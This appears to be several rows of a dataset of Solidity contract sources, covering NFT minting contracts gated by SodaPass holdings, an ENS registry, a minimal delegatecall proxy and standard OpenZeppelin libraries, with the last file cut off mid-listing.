uint256 public _publicSalePrice = 7E16; //7E16 0.07 ETH per NFT
bool public sale_started = false;
event ReturnEvent(uint _amount);
SodaPassNFT soda_contract;
address sodaContract = 0x3b553Fc51A63298E2E44d8ecd3b1ea01d22cA459;
mapping(address => uint256) public countForAddress;
constructor() ERC721("Mr. Everybody", "MEB") {
soda_contract = SodaPassNFT(sodaContract);
// 30 for team
for (uint8 i = 0; i < 30; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
}
}
function StartSale() public onlyOwner{
_startDate = block.timestamp;
sale_started = true;
}
function StopSale() public onlyOwner{
sale_started = false;
}
function getSodaPassBalance(address _zz) public view returns (uint256 balance) {
return soda_contract.balanceOf(_zz);
}
function getnow() public view returns (uint256) {
return block.timestamp;
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function setStartDate(uint256 startDate) public onlyOwner {
_startDate = startDate;
}
function setPrivateSalePrice(uint256 privateSalePrice) public onlyOwner {
_privateSalePrice = privateSalePrice;
}
function setPublicSalePrice(uint256 publicSalePrice) public onlyOwner {
_publicSalePrice = publicSalePrice;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setBaseURI(string memory _newbaseTokenURI) public onlyOwner {
_baseTokenURI = _newbaseTokenURI;
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
// Mint new token(s)
function mint(uint8 _quantityToMint) public payable {
require(_quantityToMint <= 10, 'can mint only 10 max at a time');
require((_quantityToMint + totalSupply()) <= maxSupply,"Exceeds maximum supply");
require(sale_started == true,"Sale Not Started");
// for next 24 hours after presale started by owner
if(block.timestamp <= (_startDate + _next48hour))
{
require(getSodaPassBalance(msg.sender) > 0 , "Needs to have SodaPass");
require((countForAddress[msg.sender] + _quantityToMint) <= getSodaPassBalance(msg.sender),"cannot mint over the balance of SodaPass ");
require(msg.value == (_privateSalePrice * _quantityToMint),"Ether submitted does not match current price 0.06 ETH per token");
for (uint8 i = 0; i < _quantityToMint; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
countForAddress[msg.sender] = countForAddress[msg.sender] + 1;
emit ReturnEvent(newItemId);
_mint(msg.sender, newItemId);
}
}
if(block.timestamp > (_startDate + _next48hour) && block.timestamp <= (_startDate + _next48hour + _next24hour)){
require(getSodaPassBalance(msg.sender) > 0 , "Needs to have SodaPass");
require(msg.value == (_privateSalePrice * _quantityToMint),"Ether submitted does not match current price 0.06 ETH per token");
for (uint8 i = 0; i < _quantityToMint; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
emit ReturnEvent(newItemId);
_mint(msg.sender, newItemId);
}
}
if(block.timestamp > (_startDate + _next48hour + _next24hour)) {
require(msg.value == (_publicSalePrice * _quantityToMint),"Ether submitted does not match current price 0.07 ETH per token");
for (uint8 i = 0; i < _quantityToMint; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
emit ReturnEvent(newItemId);
_mint(msg.sender, newItemId);
}
}
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
// Withdraw ether from contract
function withdraw() public onlyOwner {
require(address(this).balance > 0, "Balance must be positive");
uint256 _balance = address(this).balance;
address _coldWallet = 0x0aFEe0A7b9389f9Cf8866F866a93C17CaC29BddA;
payable(_coldWallet).transfer((_balance * 6)/10);
address _devWallet = 0x7d3d95ac0Bacde573860F75d3cd07369E0CE86F4;
payable(_devWallet).transfer((_balance * 3)/10);
address _devWallet2 = 0x3097617CbA85A26AdC214A1F87B680bE4b275cD0;
payable(_devWallet2).transfer((_balance * 1)/10);
}
}
//Mr. Everybody Possessions Collection
pragma solidity 0.8.3;
contract MEV2 is ERC721, ERC721Enumerable,ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter public _tokenIds;
uint16 public constant maxSupply = 1636;
string private _baseTokenURI;
uint256 public _startDate; // start
bool public sale_started = false;
event ReturnEvent(uint _amount);
SodaPassNFT soda_contract;
MrEverybody mr_everybody;
address sodaContract = 0x3b553Fc51A63298E2E44d8ecd3b1ea01d22cA459;
address _everybody = 0xDdF66bAcA4fA806eD792065E01B7a8166B6018FF;
mapping(uint256 => bool) public _tokenIDused;
uint[] public idTOKENs ;
mapping(uint256 => bool) public _everybodytokenIDused;
uint[] public everybodyidTOKENs ;
constructor() ERC721("Mr. Everybody Possessions Collection", "MEP") {
soda_contract = SodaPassNFT(sodaContract);
mr_everybody = MrEverybody(_everybody);
}
function StartSale() public onlyOwner{
_startDate = block.timestamp;
sale_started = true;
}
function setIdtrue(uint256 _id) private {
_tokenIDused[_id] = true;
}
function getIdtrue(uint256 _id) public view returns (bool val){
return _tokenIDused[_id];
}
function seteverybodyIdtrue(uint256 _id) private {
_everybodytokenIDused[_id] = true;
}
function geteverybodyIdtrue(uint256 _id) public view returns (bool val){
return _everybodytokenIDused[_id];
}
function StopSale() public onlyOwner{
sale_started = false;
}
function getSodaPassBalance(address _zz) public view returns (uint256 balance) {
return soda_contract.balanceOf(_zz);
}
function geteverybodyBalance(address _zz) public view returns (uint256 balance) {
return mr_everybody.balanceOf(_zz);
}
function getnow() public view returns (uint256) {
return block.timestamp;
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function setStartDate(uint256 startDate) public onlyOwner {
_startDate = startDate;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setBaseURI(string memory _newbaseTokenURI) public onlyOwner {
_baseTokenURI = _newbaseTokenURI;
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
function getsodaPassTokenID(address owner,uint256 _index) public view returns (uint256 tokenID){
return soda_contract.tokenOfOwnerByIndex(owner,_index);
}
function geteverybodyTokenID(address owner,uint256 _index) public view returns (uint256 tokenID){
return mr_everybody.tokenOfOwnerByIndex(owner,_index);
}
// Mint new token(s)
function mint(uint8 _quantityToMint) public {
delete idTOKENs;
delete everybodyidTOKENs;
require(_quantityToMint <= 10, 'can mint only 10 max at a time');
require((_quantityToMint + totalSupply()) <= maxSupply,"Exceeds maximum supply");
require(sale_started == true,"No Sale Time");
// for next 24 hours after presale started by owner
if(soda_contract.balanceOf(msg.sender) > 0 || mr_everybody.balanceOf(msg.sender) > 0)
{
for(uint256 j = 0; j < getSodaPassBalance(msg.sender); j++){
uint256 tokenID = getsodaPassTokenID(msg.sender,j);
if(_tokenIDused[tokenID] !=true){
idTOKENs.push(j);
}
if(idTOKENs.length == _quantityToMint)
{
break;
}
}
if(idTOKENs.length != _quantityToMint){
for(uint256 j =0;j < geteverybodyBalance(msg.sender); j++){
uint256 tokenID = geteverybodyTokenID(msg.sender,j);
if(_everybodytokenIDused[tokenID] !=true){
everybodyidTOKENs.push(j);
}
if(everybodyidTOKENs.length + idTOKENs.length == _quantityToMint)
{
break;
}
}
}
require(idTOKENs.length + everybodyidTOKENs.length == _quantityToMint, "Token pass used");
for(uint8 j = 0; j < idTOKENs.length; j++){
uint256 tokenID = getsodaPassTokenID(msg.sender,idTOKENs[j]);
setIdtrue(tokenID);
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
emit ReturnEvent(newItemId);
_mint(msg.sender, newItemId);
}
if(idTOKENs.length != _quantityToMint){
for(uint8 j = 0; j < everybodyidTOKENs.length; j++){
uint256 tokenID = geteverybodyTokenID(msg.sender,everybodyidTOKENs[j]);
seteverybodyIdtrue(tokenID);
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
emit ReturnEvent(newItemId);
_mint(msg.sender, newItemId);
}
}
}
else{
revert("No Tokens to mint");
}
}
function getidtokenlength() public view returns(uint256)
{
return idTOKENs.length;
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
} | True | [
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// File: ens.sol
pragma solidity >=0.4.24;
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
// Logged when an operator is added or removed.
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external;
function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external;
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns(bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function setApprovalForAll(address operator, bool approved) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
function recordExists(bytes32 node) external view returns (bool);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// File: ENSRegistry.sol
pragma solidity ^0.5.0;
/**
* The ENS registry contract.
*/
contract ENSRegistry is ENS {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping (bytes32 => Record) records;
mapping (address => mapping(address => bool)) operators;
// Permits modifications only by the owner of the specified node.
modifier authorised(bytes32 node) {
address owner = records[node].owner;
require(owner == msg.sender || operators[owner][msg.sender]);
_;
}
/**
* @dev Constructs a new ENS registrar.
*/
constructor() public {
records[0x0].owner = msg.sender;
}
/**
* @dev Sets the record for a node.
* @param node The node to update.
* @param owner The address of the new owner.
* @param resolver The address of the resolver.
* @param ttl The TTL in seconds.
*/
function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external {
setOwner(node, owner);
_setResolverAndTTL(node, resolver, ttl);
}
/**
* @dev Sets the record for a subnode.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
* @param resolver The address of the resolver.
* @param ttl The TTL in seconds.
*/
function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external {
bytes32 subnode = setSubnodeOwner(node, label, owner);
_setResolverAndTTL(subnode, resolver, ttl);
}
/**
* @dev Transfers ownership of a node to a new address. May only be called by the current owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) public authorised(node) {
_setOwner(node, owner);
emit Transfer(node, owner);
}
/**
* @dev Transfers ownership of a subnode keccak256(node, label) to a new address. May only be called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public authorised(node) returns(bytes32) {
bytes32 subnode = keccak256(abi.encodePacked(node, label));
_setOwner(subnode, owner);
emit NewOwner(node, label, owner);
return subnode;
}
/**
* @dev Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) public authorised(node) {
emit NewResolver(node, resolver);
records[node].resolver = resolver;
}
/**
* @dev Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) public authorised(node) {
emit NewTTL(node, ttl);
records[node].ttl = ttl;
}
/**
* @dev Enable or disable approval for a third party ("operator") to manage
* all of `msg.sender`'s ENS records. Emits the ApprovalForAll event.
* @param operator Address to add to the set of authorized operators.
* @param approved True if the operator is approved, false to revoke approval.
*/
function setApprovalForAll(address operator, bool approved) external {
operators[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev Returns the address that owns the specified node.
* @param node The specified node.
* @return address of the owner.
*/
function owner(bytes32 node) public view returns (address) {
address addr = records[node].owner;
if (addr == address(this)) {
return address(0x0);
}
return addr;
}
/**
* @dev Returns the address of the resolver for the specified node.
* @param node The specified node.
* @return address of the resolver.
*/
function resolver(bytes32 node) public view returns (address) {
return records[node].resolver;
}
/**
* @dev Returns the TTL of a node, and any records associated with it.
* @param node The specified node.
* @return ttl of the node.
*/
function ttl(bytes32 node) public view returns (uint64) {
return records[node].ttl;
}
/**
* @dev Returns whether a record has been imported to the registry.
* @param node The specified node.
* @return Bool if record exists
*/
function recordExists(bytes32 node) public view returns (bool) {
return records[node].owner != address(0x0);
}
/**
* @dev Query if an address is an authorized operator for another address.
* @param owner The address that owns the records.
* @param operator The address that acts on behalf of the owner.
* @return True if `operator` is an approved operator for `owner`, false otherwise.
*/
function isApprovedForAll(address owner, address operator) external view returns (bool) {
return operators[owner][operator];
}
function _setOwner(bytes32 node, address owner) internal {
records[node].owner = owner;
}
function _setResolverAndTTL(bytes32 node, address resolver, uint64 ttl) internal {
if(resolver != records[node].resolver) {
records[node].resolver = resolver;
emit NewResolver(node, resolver);
}
if(ttl != records[node].ttl) {
records[node].ttl = ttl;
emit NewTTL(node, ttl);
}
}
}
// File: browser/ENSRegistryWithFallback.sol
pragma solidity ^0.5.0;
/**
* The ENS registry contract.
*/
contract ENSRegistryWithFallback is ENSRegistry {
ENS public old;
/**
* @dev Constructs a new ENS registrar.
*/
constructor(ENS _old) public ENSRegistry() {
old = _old;
}
/**
* @dev Returns the address of the resolver for the specified node.
* @param node The specified node.
* @return address of the resolver.
*/
function resolver(bytes32 node) public view returns (address) {
if (!recordExists(node)) {
return old.resolver(node);
}
return super.resolver(node);
}
/**
* @dev Returns the address that owns the specified node.
* @param node The specified node.
* @return address of the owner.
*/
function owner(bytes32 node) public view returns (address) {
if (!recordExists(node)) {
return old.owner(node);
}
return super.owner(node);
}
/**
* @dev Returns the TTL of a node, and any records associated with it.
* @param node The specified node.
* @return ttl of the node.
*/
function ttl(bytes32 node) public view returns (uint64) {
if (!recordExists(node)) {
return old.ttl(node);
}
return super.ttl(node);
}
function _setOwner(bytes32 node, address owner) internal {
address addr = owner;
if (addr == address(0x0)) {
addr = address(this);
}
super._setOwner(node, addr);
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// d8888 888
// d88888 888
// d88P888 888
// d88P 888 88888b. 88888b. 888 .d88b.
// d88P 888 888 "88b 888 "88b 888 d8P Y8b
// d88P 888 888 888 888 888 888 88888888
// d8888888888 888 d88P 888 d88P 888 Y8b.
// d88P 888 88888P" 88888P" 888 "Y8888
// 888 888
// 888 888
// 888 888
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract Apple{
//Apple
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "address error");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
